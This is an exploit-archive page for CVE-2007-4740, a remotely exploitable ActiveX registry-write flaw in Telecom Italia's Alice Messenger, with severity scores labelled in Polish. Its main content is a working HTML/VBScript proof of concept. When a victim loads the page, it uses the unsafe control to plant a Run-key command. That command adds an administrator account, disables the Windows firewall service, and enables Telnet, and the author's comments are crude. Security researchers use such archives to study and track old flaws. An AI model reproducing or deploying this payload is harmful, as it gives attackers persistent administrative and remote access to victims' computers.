Telecom Italy Alice Messenger Hp.Revolution.RegistryManager.dll (v.1) remote arbitrary registry key manipulation

2007.09.08

Credit: rgod

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2007-4740

CWE: CWE-264

Ogólna skala CVSS: 9.3/10

Znaczenie: 10/10

Łatwość wykorzystania: 8.6/10

Wymagany dostęp: Zdalny

Złożoność ataku: Średnia

Autoryzacja: Nie wymagana

Wpływ na poufność: Pełny

Wpływ na integralność: Pełny

Wpływ na dostępność: Pełny

<!--
04.50 20/08/2007
Telecom Italy Alice Messenger Hp.Revolution.RegistryManager.dll (v.1)
remote arbitrary registry key manipulation

I mean this one:
http://aiuto.alice.it/offerte/messenger/installazione.html

this was 0day for a while, but ... who knows?
the new version suggests to remove this dll, you know telecom guy, because it sucks...

Object Safety report:

RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe:  Safe for untrusted: caller,data

rgod.
http://retrogod.altervista.org
-->
<html>
<object classid='clsid:19092490-676B-4C06-A158-34F1CD2DE517' id='HPRevolutionRegistryManager' /></OBJECT>
<script language='vbscript'>
group="HKEY_LOCAL_MACHINE"
section="SOFTWAREMicrosoftWindowsCurrentVersionRun"
key="sun-tzu"
valType=1 'REG_SZ
value="""c:windowssystem32cmd.exe"" /c net user sun tzu /add & net localgroup Administrators sun /add & sc config SharedAccess start= disabled & net stop SharedAccess & sc config TlntSvr start= auto & net start TlntSvr & echo whatthefuck(!) & pause" 'you meretrix...
HPRevolutionRegistryManager.WriteRegistry group ,section ,key ,valType ,value 'die of miserable death mommy
</script>
</html>

original url: http://retrogod.altervista.org/telecom_regkey.html

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Telecom Italy Alice Messenger Hp.Revolution.RegistryManager.dll (v.1) remote arbitrary registry key manipulation

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.